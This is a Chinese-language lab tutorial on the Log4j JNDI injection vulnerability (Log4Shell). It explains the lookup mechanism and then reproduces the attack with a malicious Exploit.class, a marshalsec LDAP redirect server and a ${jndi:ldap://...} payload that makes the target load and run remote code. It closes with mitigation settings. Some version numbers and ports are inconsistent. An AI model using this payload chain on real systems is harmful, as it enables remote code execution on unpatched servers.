Log4j→Log for Java,Apache的开源日志记录组件
JDK→1.8u21以下的版本
CVE-2021-44228 远程代码执行 →2.15.0修复
CVE-2021-45046 拒绝服务Dos →2.16.0修复
CVE-2021-45105 拒绝服务Dos →2.17.0修复
CVE-2021-44832 远程代码执行 →2.17.1修复
Log4j为了输出日志时能输出任意位置的Java对象,引入了Lookup接口,这个Lookup接口可以看作是JNDI的一种实现,允许按照具体的名称逻辑查找对象的位置,并输出对象的内容,此对象可以通过Java的序列化或反序列化传输,从远程服务器上查找。
由于Lookup接口的原因,Log4j就暗含JNDI注入漏洞,可以联合使用JNDI+LDAP或者JNDI+RMI通过命名功能直接从远程服务器上调用文件并在本地执行。
Log4j在处理消息转换时,会按照字符检测每条日志,当日志中包含${}
时,则会将表达式的内容替换成真实的内容(即lookup接口查找得到的内容),使用LDAP或RMI协议,能从远程服务区上请求恶意的对象,对象在调用的过程中会被解析执行,导致了Log4j的漏洞。
LDAP协议
LDAP(Ligntweight Directory Access Protocol),轻量级目录访问协议,既是一种服务,也是一种协议,是JNDI的一种底层实现,主要功能是提供命名关键字到对象的映射目录,开发人员可以通过输入名称,获取到对象的内容。简单来说,就是搜索功能,它是分布式的,允许从远程服务器上面加载获取对象。默认服务端口389.。
JNDI接口
Java Naming and Directory Interface,JAVA命名和目录接口(命名服务接口),应用通过该接口与具体的目录服务进行交互,允许通过名称发现和查找数据或对象,可用于动态加载配置等。
JNDI注入流程:攻击者生成一个恶意的类文件,上传到一个为攻击者服务的HTTP服务器,向目标服务器(靶机,运行了LDAP服务,并指定了恶意类文件所在的地址)给HTTP请求中向Java应用程序传入恶意参数(比如${jndi:ldap://xxx.com:1234/xxx}
),指向的是LDAP服务器不存在的资源,当JNDI接口使用lookup查找时,发现在参数指定的LDAP服务器中找不到,于是根据LDAP服务器预设的地址自动从存有恶意类文件的HTTP服务器动态加载对象。
RMI协议
JAVA的一种远程接口调用协议,在TCP协议上传递可序列化的Java对象,即可以实现调用远程方法和调用本地方法一样简单。
靶机:127.0.0.1
LDAP服务器:192.168.101.133
HTTP服务器:192.168.101.128
Java
JDK1.8u121以下的版本,Maven(需要安装和配置),log4j项目包
服务器
HTTP服务器(存放恶意类Exploit.class),使用phpstudy建立一个网站,端口为2222
LDAP服务器,下载marshalsec-0.0.3-SNAPSHOT-all.jar
Exploit.class
/*
* Exploit.java
* 将其编译后生成Exploit.class
* 上传到HTTP服务器
*/
import java.io.IOException;
public class Exploit {
static {
try {
// 打开windows电脑的计算器 proof of content
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
}
LDAP服务器中,执行如下代码
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.101.128:2222/#Exploit 1234
其中Exploit
是恶意类的类名,1234
是监听的端口号,该工具可以启动JNDI或RMI接口。
当命令行显示Listening on 0.0.0.0:1234
时表示服务开启成功。
Log4J.java
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class Log4J {
private static final Logger logger = LogManager.getLogger(Log4J.class);
public static void main(String[] args) {
logger.error("${jndi:ldap://192.168.101.133:2222/test}");
}
}
其中主要是靠如下语句:
${jndi:ldap://192.168.101.133:1234/test}
执行成功后,可以弹出计算器,LDAP服务器的命令行窗口会显示Send LDAP reference result for test redirecting to http://192.168.101.128:2222/Exploit.class
!!!
凡是Java应用程序,在获取用户输入时使用了Log4j组件且未作有效验证或限制的,都可能有该漏洞,在输入位置传入如上语句即可。
Log4J Lookups介绍:https://logging.apache.org/log4j/2.x/manual/lookups
被攻击服务器收到恶意参数(语句)后,通过Log4J将其作为日志打印。
由于日志在打印时当遇到${
后,Interpolator类以:
号作为分割,将表达式内容分割成两部分,前面部分作为 prefix,后面部分作为 key。然后通过prefix去找对应的 lookup,通过对应的lookup实例调用lookup方法,最后将key作为参数带入执行。
而在LDAP服务器上找不到,于是跳转到指定地址下载恶意类到本地,再调用Java的NamingManager.getObjectFactoryFromReference()
方法,通过默认构造函数将其实例化,进而导致攻击代码中的静态代码块中的内容被执行,引发命令执行漏洞。
log4j2.formatMsgNoLookups=True
-Dlog4j2.formatMsgNoLookups=true
FORMAT_MESSAGES_PATTERN_DISABLE_LOOUPS
设置为true